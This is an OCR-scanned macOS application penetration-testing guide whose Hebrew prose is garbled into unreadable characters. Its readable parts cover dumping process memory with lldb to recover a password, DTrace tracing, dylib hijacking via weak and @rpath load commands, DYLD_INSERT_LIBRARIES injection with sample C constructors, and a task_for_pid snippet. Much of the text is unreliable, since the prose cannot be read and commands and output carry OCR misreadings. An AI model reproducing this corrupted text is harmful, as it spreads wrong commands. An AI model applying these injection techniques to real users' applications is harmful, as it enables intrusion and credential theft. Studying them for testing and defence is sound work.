NINNSN ,NIXNO'0 NIAN7 ,0'97INY qQUNY 7175w w2 yTnm Ni7a7 7510 ,)Nd'Th DR NIYYNXa

.n'xp"?sxn nxn ']"mnn [IN2'TA "1NT |DIRA [ONIXNN 011 U'an VT'NI Nn1OXN

,Xcode 7w 7TNNN N1 AR T Llldb 201 wimy X Rxpt7oRn 7w NDTR NINMY 0O TN NNX
NITIZ NNTAN 0% 0D'7NN7 NNaNNn WWokn lidb .omivwr 7w maT NN 77 0T wnwnn

ST 011 [T N1,y

INID ,N'WRD .0'RAN DR7WUN DIYXNRA 170NN DT 7w dump 11X 7210 ,0'w0 DN WoN7 YD
NN DTN NITYA N7W NXNIN 170N 7Y PID-N NI X¥N)

ps aux | grep -1 "app name"

10NN Y'7NNY M 2ANNN7 Niwy'? nan Yy lldb-2 wnnwa ,pn NNy

11db --attach-pid 44434 —> 44444 // PID of process

,get-task-allow NXWINN DY D'AINN DMAIY" QX7 |"TY [N ,2u0m SIP-Ni nT'naw 1T awn

IND IR VT TIVY .0'YPY79R7 12NNNT7 (DNANAT 1ND) DINK DD'7NNT7 NYWONNY

:dldb 1M NRAN DT WNNWa L [ND'T? dump N7 "TD

process save-core <output file
107901

Daniels-MacBook-Pro:macos-pt daniel$ 1lldb --attach-pid 56809
(11db) process attach —--pid 56809
Process 56809 stopped
* thread #1, queue = 'com.apple.ma thread stop reason =
frame #0: 0x00007ff8089526a2 11bsystem kernel.dylib ' mach_msg2_trap + 10
libsystem_kernel.dylib ' mach_msg2_trap:
-> 0@x7ff8089526a2 <+10>: retq
Ox7ff8089526a3 <+11>: nop

libsystem_kernel.dylib ' macx_swapon:
Ox7Tff8089526a4 <+0>: movq %rcx, %rle
Ox7ff8089526a7 <+3>: movl $0x1000030, %eax ; imm = 0x1000030
Target @: (dummy) stopped.
Executable module set to "/private/var/folders/zq/2dkfn@x135x8t82kblkqrd040000d
s/Mac0S/dummy" .
Architecture set to: x86_64h-apple-macosx-.
[ process save-core dummy-dmp
Saving 4096 bytes of data for memory region at @x10bbl1f000
Saving 8192 bytes of data for memory region at @x10bb23000
Saving 24576 bytes of data for memory region at ©0x10bb2f000
Saving 32768 bytes of data for memory region at 9x10bb36000
Saving 49152 bytes of data for memory region at 0x1@bb6f000
Saving 4096 bytes of data for memory region at ©x10bb7b00e
Saving 4096 bytes of data for memory region at ©x10bb7c000
Saving 4096 bytes of data for memory region at 0x10bb80000
Saving 8192 bytes of data for memory region at 0x10bb84000
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https://lldb.llvm.org/
https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger

XY V79N Y22 W0 YT WONT T strings-2 wnNNw ,[dn NKY

[Daniels-MacBook-Pro:macos—pt daniel$ cat dummy-dmp.txt |grep boom
8>> my password: booml123!!

my password: boom123!°

my password: boom123!

my password: booml23!

Vbooml ?"#$%Z$classnameX$classes_

Uboom ?

Vboomy ?

wWboom's ?

Wboom-1 ?

Vbooms ?

Wboom 1 ?"#CD~NSMutableArray?CE)WNSArra

2V vy 727 1O nniv Nimpoa wnnwini lidb N7 niwrn 7w nxann yalp nx [ivo? na L md

NTIPO] WNNWNT [N :nNnaT? .2v1on 1"70nn

process status

%5 nn'wn NX 0'9TN thread list NTIF9N ,'N21IN TV )'70N 112V NNV DIZ'ATAXAN DK %07 T

II,j'bn]\].D'WHUWE}ﬂ

.']"'mnn NNIyLuN NIMS0N NX LISN

[IN2'T NAIND 7y disassemble-1 memory read NI'¥PI192 WNNWAYZ [N DXY79RN N7 NN [INY7 1D
.DIY'N |N2'T2 DN 12N 1IN DANYNN DI DR NNA7 117 21TV -memory read .NIAIND NNV IX

DN NITIRI NINT?I NVID NXP79XN T¥D |'An7 NITY! - disassmble

Daniels-MacBook-Pro:macos-pt daniel$ 1lldb --attach-pid 56809
(11db) process attach --pid 56809
Process 56809 stopped
* thread #1, queue = ' f read', stop reason =
frame #0: vxeeoel‘fd09992032 11bsystem kernel.dylib 'mach_msg2_trap + 10
libsystem_kernel.dylib mach_msg2_trap:
-> Ox7ff8089526a2 <+10>: retq
Ox7ff8089526a3 <+11>: nop

libsystem_kernel.dylib macx_swapon:

Ox7ff8089526a4 <+0>: movq %rcex, %rle

Ox7ff8089526a7 <+3>: movl $0x1000030, %eax ; imm = ©x1000030
Target 0: (dummy) stopped.
Executable module set to "/private/var/folders/zq/2dkfn@x135x8t82kblkqrde40000gn
s/Mac0S/dummy" .
Archigectg£g4§ggft0°,xSQ_éah-apple—macosx—.

Process 5o08vY stopped
* thread #1, queue = 'com.apj id', stop reason =
frame #0: 0x0000 7‘?Q9999Lcd“ 11bsystem kernel.dylib 'mach_msg2_trap + 10
libsystem_kernel.dylib mach_msg2_trap:
-> ©Ox7ff8089526a2 <+10>: retq
Ox71f8089526a3 <+11>: nop

libsystem_kernel.dylib 'macx_swapon:
Ox7ff8089526a4 <+0>: movq %rcx, %rle
Ox7ff8089526a7 <+3>: movl $0x1000030, %eax ; imm = ©x1000030
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nNAIT 707 .00 7Y N0 win'win NINYY 12 wnnwn? Naw ,DTrace KIN [N2'T NINYY qon ')
:N>'T NINYY% DTrace-2 win'w?
NX¥IN T 7Y DNT NIYYYT [N .NN17 1MIX2W DIY'N 7 (PID) 7'7nNn NNTA DR KIXN7 W' N'URY e

:N2D NTIPON

ps aux | grep <application name

:NNAN NTIR9N NIYXYNNA TV *720NY7 DTrace X7 [N ,PID-n NX N72'pw NNX

sudo dtrace -n ‘pid$target::malloc:entry { trace(argd); }’ -p <PID

NI¥ZA190 WK .'9'¥90 '70N2 malloc N'Y219N NI AINK 2RIV DTrace 090 DX IT NTIFD

:NNXPZINY [ND'TN NAIND NIX 0'9TN V90N ,NKI?) malloc

Daniels-MacBook-Pro:Documents daniel$ sudo dtrace -n 'pid$target::malloc:entry { trace(arg@); }' -p 467
dtrace: description 'pid$target::malloc:entry ' matched 1 probe
CPU FUNCTION:NAME

malloc:entry 272
malloc:entry 544
malloc:entry 24
malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

malloc:entry

(=Y

1
il
al
1
1
il
il
1
0
(]
0

AIpY7 1D VOMIPON NX NIYYT TWOKR ,NNAIT? .0'9011 01N Y7N7 13 DTrace U970 NX NNYWYT7 N1
IT'OPN .[XD 11''Y 9011 YT'N7 .ARXZN 72 112y stack traces 0'9TNY IN 77T1a 197 [IND'TN NIRXPN NN
TN XY NdYN 2y IN7y9n 197 NiprTa N2'202 Ndwn 7V DTrace-n 7w 0'09M70N NX 71TA7

.DIYN 021N 7Y 12 W'Y XTI

JIXP™79R7 NNIYWEN NI9PNN 7V DX 7'My ,0'¥A7 NN N70YY INKY?

Dylib Hijacking

(dylib) nimoon »ap NX q'7nNn qpIn NAW macO0S-2 nyIT n9pnn X' Dylib hijacking nopnn

.0IT2'IN NiM71vn AT nmN dil hijacking Nopnn nniTa , 0" ITT 0'¥AP2 0D'N'0ATN

dylibsi dyld-7 anTpn

nNITa ,mac0S-1 .NI'MY'T NIMS0 DIV D'AIY!Y 1AW [9IX] DTIRZ 7'AYd INIA LIT NP0 AN "D
NWITA ,NI'MAT NIM90 [1Y07 '3 (dynamic linker) "1 T Twpna D'wNNWN ,NINNK N7V90 NIDWNY

.dylibs IX NISNIYN N0 bW DA
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http://dtrace.org/blogs/about/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html#//apple_ref/doc/uid/TP40001873-SW2

Technologic

7¥ NIaImM>N AN MY 17W DAININ DRI DY TI7 DR (VIO Mach-0 Loader-n ,7v91n 1'70N TWUXD
NL7YUN NN YN *'7nNn MY (dy/d owa Da viITn) dynamic linker-n DX VIV D2 XN .WTN Y'70N

IR

7w header Mach-0O nX T1a dynamic linker-n .Mach-O vn1192 D'wnnwn macOS ¢ XN '¥ap

[ i
NIM%0N NN'YA 1D YT 71 Header Mach-0 .NiaT NIMv02 17w NI7NN DX vIAR7? D Diw'n
,NMD0Y7 X' 2'MIN NIN MPNNN OY L [N7¢W NIZNNN DML DIY' T 2V NIYATIN DISNIwNn

.AN1'2N 7w dylib LC_ID_DYLIB Ix LC_LOAD_DYLIB na'yun NITI?9A [ONINAN
77 I

L.inkinﬁ l_oadina
(at compile time) (at runtime)

——

2.

l’ﬂarar'y path to hame
-> LC_LOAD_ADYLIB |

\ Dinamic libraries

|

|

0NID .N¥M AT NIMDO IN KM WRYI IYLY7 T¥'D dynamic loader-7 yT'n NIo0N N1'WLN NITIPY

:N"11,"N1'Y0 NITIRS" 7w 0110 190N wnnwn Mach-0

XN Ny [YO'n7 NATN KR L,NXND T IY07 W'Y DT 200 |vn - LC_LOAD_DYLIB e
.N"M90N IX MIN1'AN

,INYNY K7 R'NY NN .WYN DINA MYINN 1YY N'N190 |"¥n - LC_LOAD_WEAK_DYLIB e
.NYI9N K77 11 TV NTMI90N IX MINIAAN

.N'MIDON IX INIAN TV WTNN XY W'Y YT 90 |0 - LC_REEXPORT_DYLIB e

.D'¥2PN NDWNA NIXK MNXR? T NI7NN NIMD0N 7Y NIpnnn Nnva wnnwn dynamic loader-n

X' NTAVIT ANt X7 NIMvon 7w X' nwnw [N ,0'M'Ion 0N

JURIN DXNN YaIR? nront dylib-7 X'7n 2 |y D @/<shortcut>-2 wnnwn? 0'71>' 0'NNon
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https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands
https://en.wikipedia.org/wiki/Mach-O#Load_commands

Technologic

22'N1 NNTPND DN WNNWNYT [NIY D'MpY DONYN NYI7Y 0m'ye

7¢ 'WRIN DXINN YAl DX 70NN AYEPMY7 2N 97nm Nt NINwn - @executable_path e
.JApplications/Dummy.app/Contents/MacOS ,nnaIT? ,"7nNn

NTIP9 NX 7'oNY ,mach-o0 IX1'aN NX N'7'DNN NY7'MY7 2'N1 9701 DT NINWN - @loader_path e
.N'oun

XM T2 LC_RPATH NTIRo T 2V 1'IXW D'2A'NINN INIY IX TNNA 97010 T NINWN - @rpath

0'712' 0'NN9n ."run -path dependent libraries"> Da NIIT (DIW"7? N'ON') 02T 0'A'NA DY NINDO

NIN M'TAaN ARAN DNTIRON ,NNAIT? .@rpath NX Y TAnY7 1O install_name_tool NTIj79o2 wnnwny

:"custom.dylib” bwa N0 7w npnnn Dwd ”@rpath/custom.dylib”

install name tool -id @rpath/custom.dylib custom.dylib

Y272 LC_RPATH n1'yun NTIZ9 NIYXAXA WIS'N 'A'N] NN'YA 790N MINI'AN YAlzn ,N¥M N1

JNIXN NTNA NIN'ON 7N 17002 MdNAN T2V NYTAMLC_RPATH NTipe .Mach-0

Linkirg

TARQETS [ ——— Bavecutable_path) (Fiame...

:0'N2N D7WN DR Y¥an dyld ,n¥1n yaip n1'yo nya

[mun) dyld shared cache-2 NX¥n1 121> NYI7NN N*90N DX PTIA dyld 17N 090 7Dy e
22'M12 DRINA QNIYAN [IN0NRN NDNN YT 2V nipoionn frameworks-1 dylibs 7w wxn n1am
System/Library/dyld/dyld_shared cache *.)./

NI'YON NTIPO] 'Y DIZ'na wonn dyld ,qnivnn [Inund NX¥N1 NI'R N'MI90N DX e
.LC_LOAD_*DYLIB
N¥M T2 WI9'NN 2N 27NN N'90n DX wonn dyld-n ,@rpath-> 1T Dip'mn ox .

.Inxy dylib-2 IX "¥NN Y2172 ynoumn (runtime search path)

120 D"VTIVO 0'A'NIA N17NN NTMID0N NN WoNn dyld ,nx¥m N7 |"TV N'50Nn DX e

./System/Library/Frameworks-\ ,/usr/local/lib, /usr/lib
NIY7ND NINIoN X7 NIMD0NI,NMIX0NA] NAXNN-'X NN IX NION NIM90NN NNXKY N7 e

70911 N72Y9nN '70N L, (NI'721'YDIR)
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https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html#:~:text=A%20run-path%20dependent%20library,How%20Dynamic%20Libraries%20Are%20Used).
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12
https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html#//apple_ref/doc/uid/TP40002182-SW12

Dylib 7v niv'mwn

212 NIMYN NIMDOI NIYZN NIMDO 71X 7y 'I¥xn VOIS DOTS 7T XIVUD NNVARN 71N ,2015-2

.mac0S-1 hijacking dylib-7 nx1n

AWKD .LITN NIYVIA9N DX VIINYT NI71D'W N1aN NIDYNA NNd n9'0In 79X ,2015 TRNW X7 AIWN ,NINT DY
XTI7 *TO TIPn Nn'NN DX 7TI2 AMFI - Apple Mobile File Integrity ,|IN2'T? [v01 dylib IX nx¥N yaIp

.DNN1 TN NIDWNN XK 'Y 12 WYL RYI |'AX NNon ' 2V Dnn1 XInY

IN D'90IN ,DANY9 [IYVY7 NMDINN NYAIN WK hardened runtime-n 9ol 770 AN LIt Naan

JYUKRIN NXINN YAIZ 1IN0 Team D INIR DY INNN IR 29X 'T' 7V INNN1 DN OX X7X NIMS0

:D'N2N DMPNRN DX 2NEN [N .dylib hijacking 7¥17 Ty [N Dna DNj7n Daw!
NXYINN NX N7 W'W IN hardened runtime DY N71amM NI'R DN NNIXRY D'NPY798N @
.NNLANN NIP'TA NN qIPY7 NMWORNN com.apple.security.cs.disable-library-validation

.D"PNNY DMWY NIYIADN IR DNN K7 [app/Contents] N'¥'79RN 21'N1A D'¥APN TNN DX ®

ny'oIin oX .codesign -verify -verbose dummy nTIZ9N NIY¥AX] NN'NNN NIR'PN DX 21727 N2

NI PN NYIRAN'MNNY D 7V ¥y'a¥n 12T ,0791 XY NYTIN

julia@Julias-MBP app % cd dummy_with_dylib/dummy.app/Contents/Mac0S/
julia@Julias-MBP Mac0S % codesign --verify --verbose dummy
dummy: a sealed resource is missing or invalid

file added: /Users/julia/app/dummy_with_dylib/dummy.app/Contents/Test/custom.dylib
julia@Julias-MBP MacO0S % [

7w Dylib Hijack Scanner *722 wnnwn'? N1 ,dylib hijacking-7 ny*ao n¥p'79x DX 71127 nn 2y

%N N 7= 7210 DY otool NP9 WIN'Y YT 7V .otool NTIZON NIVXANI NIT PITA? IR 709

Yalpn 7w nawon NITEo 75 NX

NTIPOY wnnwn'? N1 ,0'w7n dylibs nint? +1
otool -L dummy | grep LC_LOAD _WEAK DYLIB -A5

nany [N ,NY'AD XK', ynnunan 'T' 2V narmd? nanan n"'p'nn nw7n N0 NIV n'xrz"mxn OX

NN NI NAITT dylib N'M1902 9'7nn7 IX

julia@lulias-MBP app % cd dummy_with_weak/dummy.app/Contents/Mac0S/
julia@Julias-MBP MacO0S % otool -1 dummy | grep LC_LOAD_WEAK_DYLIB -A5
cmd LC_LOAD_WEAK_DYLIB
cmdsize 8@
name @executable_path/../Frameworks/custom_weak.dylib (offset 24)

time stamp 2 Thu Jan 1 82:00:02 1970
current version 6.8.80
compatibility version 6.8.8
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https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
https://objective-see.org/products/dhs.html
https://www.manpagez.com/man/1/otool/

NTIP92 WNNWA? N1 ,NNIT 91X

otool -L dummy | grep LC_LOAD DYLIB

:@rpath-n niywa dylib niMso ox pITY? '

julia@Julias-MBP MacOS % otool -1 dummy | grep LC_LOAD_DYLIB -A5
cmd LC_LOAD_DYLIB
cmdsize 48
name @rpath/custom.dylib (offset 24)
time stamp 2 Thu Jan 1 82:00:82 19780
current version 6.8.8
compatibility version 6.8.8

N"7'n 7y niyraxn LC_RPATH NITIpo OXR PITA7 11'7y ,@rpath-n nnyviw dylib nimoo pw' ox
N7 X100 212 N17NN N0t LC_RPATH 7w n1'yu NITIRD 190N 1W'Y NN .N2'M>7 NININ
N2ITT dylib N'M190 NNIN T 7Y NIYRA9N NIR X7 INML,NXN 2T 7Y 'WRIN WID'NN QN NIRNN)

22'N12 NIITTN N'MID0N NN DPN7 [N N7W NNAITA 7w ,'URIN 2'N1a

@executable_path/../Frameworks

julia@Julias-MBP MacOS % otool -1 dummy | grep LC_RPATH -A3
cmd LC_RPATH
cmdsize 48
path Rexecutable_path/../Frameworks (offset 12)
Load command 33
cmd LC_RPATH
cmdsize 4@
path @executable_path/../Test (offset 12)
Load command 3&
julia@Julias-MBP Mac0s % i

N'MD07 TVIMN DI .@rpath-n Nl "custom.dylib" NXIPIY NMITA NMID0N ,1N7W NNAITA
YI9'NN 2'N) NN DA 1'7'a D IND .@executable_path/../Test NN XN oA dylib-n
N7 CWONN N7 2x¥n .@executable_path/../Test '19% y'oiwy @executable path/../Frameworks

.n'0a7n dylib-n 7y 07NWNYI @executable_path/../Frameworks-1 127w dylib-n X N1nY

:NAN TIpnn vIwo dylib 11¥1 IXI2

<stdio.h>
<syslog.h>

((constructor))

void customConstructor(int argc)

{
syslog(LOG_ERR, "Dylib loaded successful!");

117V .gcc 17"'onIpn NN N7'WoNn NTIP9] WNNW1 ,0'WNTIN 0'72TN DX V' TAN71 TIpn DR 79077 *1D
dylib-n 7w NIXONA7 DMNIN I'N'w D compatibility_version-I current_version 0'722TN NX V' Tan?

N0 T2 NI0MP VINYT T2 0RI2IN 0712000 DX KX"'7 1Y TRNAN dylib-n ,qona . mroain
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Technologic

- 2T nivxnxa Mo dylib-7 XXt nAXI'w re-exporter' N'MI90 NIYYANA NINT A'WN7 N1

:reexport_library

Load command 11
cmd LC_REEXPORT_DYLIB
cmdsize 48
name Qrpath/custom.dylib (offset 24)
time stamp 2 Thu Jan 1 02:00:02 1970
current version 6.8.0
compatibility version 6.8.0

:N'X7'0n170 NTIROY? NNAIT NN

gcc -dynamiclib -current_version 6.8.0 -compatibility version 6.8.0 custom.c -o
custom.dylib -WL,-reexport_library "legitimate dylib"

:LOAD_*DYLIB NTIj92 |'I¥¥ DWY NNT? NIZNNN DY NITAN

install name tool -1id @rpath/custom.dylib custom.dylib

((@/<shortcut>2'm1 ANI9) Mo dylib-n 7w X0 2'Ma? napninn o 'Y

install name tool -change <old new> <target dylib

[N .nxpr7oRn DR 7'won' @executable_path/../Test nvjp'n7 dylib-n IR p'myn? ' 91017

Process Message

dummy (custom.dylib)

Subsyster Category: <Missing Descript

"dylib injection" NXAPIN 7NN AITT TIP N¥INT7 NO0I NLV'Y MY NIMS0 7V NIV7NWNYT 901
2177 dylib 1IY07 T NIMTR NIMB0N YWID'N (112102 NWNNYNY ,NIVNWNY TIaM (T NpT)
INIANINN DX NRYY? 1D Y1 )'70N N7 11T oo npgm dylib npatn o n'1so nizna

A7 IR A'NNT IR
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Technologic

Code Injection

MY N2 .AXY DXPI7ORN 1IN MNNMY TIR IXN IX NTNNY? TYnwnn N0 X0 TR Npdmm
TIRP NPATAY? NITOIN NIR'DY
dyld_insert_libraries natva dylib npatn .1

mach task port 0T TR .2
?dylib npata 'an

N20N NINWN MMAN T 7Y mac0S nv¥p™oX? T MTNNY? nNp'du X' dylib npamn
7v 70NN N2 X ntson TIpw )2 ,(dylib) Nn'narT oo 7w 2'Ma? DYLD_INSERT_LIBRARIES

.0p1'72 LD_PRELOAD NU'WY NNITIT N*100 .N'XP" 79N

INIX DY NI7IYD Y¥27 TZWORAY NN UKD 17000 11D DIRWAN NIK DY IW¥ANN NIfinn n'oon
NDMIXW N'MA'T N'MI90 ¥ X'n DYLD_INSERT_LIBRARIES minwnin Nun .n'Xj'79x8N 7w NIRWAN
nMnwn 7w 1wn DX wonn dynamic linker-n ,7'nnn '70n QwWXO .axM ata '70n me (voint
29 NIrtnn N1'WOU 1197 1NNY NN NIMS0N DX VIVl DYLD_INSERT_LIBRARIES nanon

N'DINN

DYLD_INSERT_LIBRARIES
This is a colon separated list of additional dynamic
libraries to load before the ones specified in the program.

If instead, your goal is to substitute a library that would
normally be loaded, use DYLD_LIBRARY_PATH or
DYLD_FRAMEWORK_PATH instead.

.NT N0 NMINWNN D'M7YNN I'T' 7V 022N 01X, 791 SIP oX

,7Thn NNM2D 7u9In Hardened Runtime Oy NXNW NIY¥*79X 7y Ni72an q2ix SIP 07w napna

.0 NI D1'R ,DYLD_INSERT_LIBRARIES 7710, T '\IU'P'? DMIYPN O'M'IoN N2'20 '1NYn

[AT NN 721727 DYy Nexp7oRnn 770 0TI DATINY 19,1990 NI72an7 Niann DY NRT DY

:dylib npAtn? 7207 NI7D'w NN MY DY .NxN

-7 DNIYPEN D20 MNYN WIN'Y MWONN IT NaNN - Allowing DYLD environment variables
.DYLD_INSERT_LIBRARIES 771> ,dyld

19¥N NIIXN DNTA DY DAIMN X7 DPATinn N'*90nNY NN - Disable Library Validation e

AT NAMN DY NTAIN P7OKN DX NP'TAN DX qIpyY [N, (Team ID)
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oK .dylib NPATRT NY1A9 X' DX NINT? "1 ANPY7OR 7Y (entitlements) NINwANN DX 2ITA7 N1
com.apple.security.cs.disable-library--1 com.apple.security.cs.allow-dyld-environment-variables

Y9 NIFNY NWY DNRY7ORNIENIRYOIN 1770 NIANNN TR true-D NINTam validation

dyld DYLD_INSERT_LIBRARIES

—_— SySte_m com.apple.security.cs.allow-dyld-
—— Integrity —— check environment-variables
’ Protection entitlements —

v

Main application

L} 7 v/f Deny

;NN TIrn Nwvxynxa (dylib) nmaT Moo v 7'nmna L, dylib-n ngath nrtado Nk 0ATA? Nan 7y

<stdio.h>
<syslog.h>

((constructor))

void customConstructor(int argc, char **argv)

printf("Hello!\n");
syslog(LOG_ERR, "Dylib injection successful in %s\n", argv[0]);

:NNQN gee NTIP9 wnnwa L (dylib) NmarTn ntivon DX XY TIzn DX 79077 nan 7y

gcc -dynamiclib inject.c -o inject.dylib

NX YON71 179 2'M907 N2aon NMnun NI 'wnn? i L dylib-n ko non'pw ANNY
NIY7YONRN

DYLD_INSERT_LIBRARIES=inject.dylib ~/dummy.app/Contents/Mac0S/dummy

julia@Julias-MBP app % gce —dynamiclib injeet.c -o inject.dylib
j ulias-MBP app % DYLD_INSERT_LIBRARIES=inject.dylib ~/fapp/dummy.app/Contents/Mac0S/dummy

[ X ] Dummy app

->PRESS=-

Send HTTP request
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NPT TV Y0 D9Y TIRnW NNRT 7010 ,07Y7OKRN DR XN NTMFTR NTI%0N IR NPATIY INKY

.macOS 7w Console N xp'7982

Process Message

dummy ookup; pe id . typa \, class
dummy
dummy

dummy

Injection via Mach Task Port :n®on np*0L

775 T2 wnwn WwR ,mach task portniy¥nxa X' 70N MY TR NPATR7 NS0 N7'd0
NWoNN “com.apple.security.get-task-allow™ nxwInn '7nnn 7w (IPC) 0'70N-'2 MIWENY
NINT 7¥17 N1 .N1IdN NNIX 7Y 0'¥IN DNR 0DY0N 7Y [N2'TH DR NNRYWY IR RNPY? DYpr7oX7

ANK 70N N T DAt

X TIPnw m¥? wro.ntion (PID) 1'7nN ANt NIy mach port NN AW NOIN AN TIPN ,NNAIT?

:(root) N>yn 701 NIXWIN DY y¥anny

<stdio.h>
<stdlib.h>
<mach/mach.h>
<unistd.h>

int main() {
setuid(0);
pid_t pid = 4570;
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
(kr != KERN_SUCCESS) {
printf("Failed to get task port for PID %d: %s\n", pid, mach_error_string(kr));
1;
}
printf("Got task port @x%x for PID %d\n", task, pid);

9;

ni'yxny AMFI nRaw 172 ,AnTn Ap'7oX 7w PID DY 1T NMDINN IR YNY 12'0 TWUND
NN DA 71707 Na"N N'DINN ,NRT N9 1D .TA72 ARMP7 AN T MMM NI'R 17¢ N'DINNY
NN )'7NN7 AR2T 12N NXRY79X7 NMWoNNY ,com.apple.security.cs.debugger nkwINN

[kernel (/System/Library/Extensions/AppleMobileFileintegrity.kext/Contents/MacOS/AppleMobileFileintegrity)
Subsystem: -- Category: <Missing Description> Volatile
Activity ID: 0 Thread ID: Ox1cfc9 PID: O 2023-04-09 15:05:50.489254+0300

macOSTaskPolicy: (<no identity>) may not get the task control port of (dummy) (pid:3786):
(dummy) is hardened, (dummy) has get-task-allow, (<no identity>) is not a declared debugger(<no identity>)
is not a declared read-only debugger

YO 70N MY TR 7107 11O “task_for_pidT nirtaryzaoa win'w'? n'oroa nnalT nilinn AT TIEn
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1'17 [M21'A *T' 2 1N0VISY NI'WIN'Y NIDIN KI¥AYT [N ,INXYA ITN NP00N DX NI01Y7 |"alyn INwm DN

.remote thread injection 7y V1 LIFOI

1 WD NINY ARYWINN .com.apple.security.get-task-allow nXwIN2 wim'wn NX n7'aan Apple
NI'T NI'R NRYINNY K'N QTN DIYNRYNA .NIN'D D20 NINION IX Xcode T RPNINY NI'Y?'79K7

JUY TY NNENN IMINY IX J']I'X|7"79Nn NN NT NIXSIMN ]'II'XP"?E)N'?

XPC Attacks

1IN ,N9PNNAN '0I9 PNIYY? 0121 K7W NINNY XPC N97NNd nyIT'N N9PNN 7w 9o 10 7y 12N INID
QIUNY? 1ITY?1 NIAIYN N2 2907 N7 XPC NIDPNN N1ANY [I1I'DN ANIX 1'DTN7 AIWNY D''RN

.D'WIT X7 NNLAX 21D'0

MIXa WpNn? 0"NNY WoORNY macOS npoonw (IPC) ND™0n-'a MIwpn 122 120 XPC

.JTWJ-nIP'? 77T NIYXNX2 AT OY DT NNVAINNA

nn L (ND70n-2 Miwpn) XPC 'MN'y 7w D02 IX DIYH NIY7IN 7117 nion'nn XPC Niospnn
NIYY? D'712' D'9PIN .PINN T DX 17'9X IX NIXYIN NN700 NI X7 nwal ain? 1w
n'Y7oRN 7Y 09NWN? D XPC YW nxp Nimip 7¥17 IR Nt qet?  XPC niyTIng nirx71onn

J9pNINN

,(privileged helper tools) NINIAx NIXWAN DY TV 7D DIYTY NIANe 07 D'wnwn XPC 'Nin'w
N'URIN NXPZY7OKRT? NIMINAI9 D'Po0N 17X 07D helper agents-1 privileged daemons-> DA DWwITN
71N 1D ,NINIAA NIRYIN NIYAITY NIN'YN IWOKR7 NIn 7V 1TY11 DN .N2IYNL NNNR NIYPZY7OKRYT IR
DIP'NY D'YNINN 070 DX NIXN? N2 0NN QV™y IR IDWN NN NIXND IR DY

./Library/PrivilegedHelperTools

:D'N2N D'INNNAL D'AI72] 1|73.'7 N1 ,XPC niopnn 2V NIMoSNI NI VPN VTNY
e The Evil Bit: XPC

e Offensive Security: Microsoft Teams macOS Local Privilege Escalation

e YouTube: Understanding XPC Mechanism and Attacks
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http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
http://newosxbook.com/src.jl?tree=listings&file=inject.c
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://developer.apple.com/documentation/xpc
https://theevilbit.github.io/tags/xpc/
https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/
https://www.youtube.com/watch?v=ezxD5M90Mmc
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nid'o

TX'D 1I'NIN .ANATA XY AnT Ak7ox 10¥ macOS NiY'7ox YW naan 7y 11arT AT nNna
X1 .App Sandbox-1 SIP 112 N1AN NI 1901 7V 1112V DAl ,NYY NIAVN NMYI oINS 1 TanY
7901 112¥N ,90112 .PT NI TAA 'MIvnwn 770 NHnnn entitlements NPT 72V waT Dy ,0'¥aj NINY

.macOS NI'Yp'79X7 NNIYRN NI9PNN

.macOS NI'¥P'798 D'POIVN DPININNTA 'PTIAY 'WIN'Y A TN VTANY D7 X
| | | | |

LR P Ly oLl

e https://developer.apple.com/documentation/bundleresources

e https://developer.apple.com/documentation/bundleresources/information property list

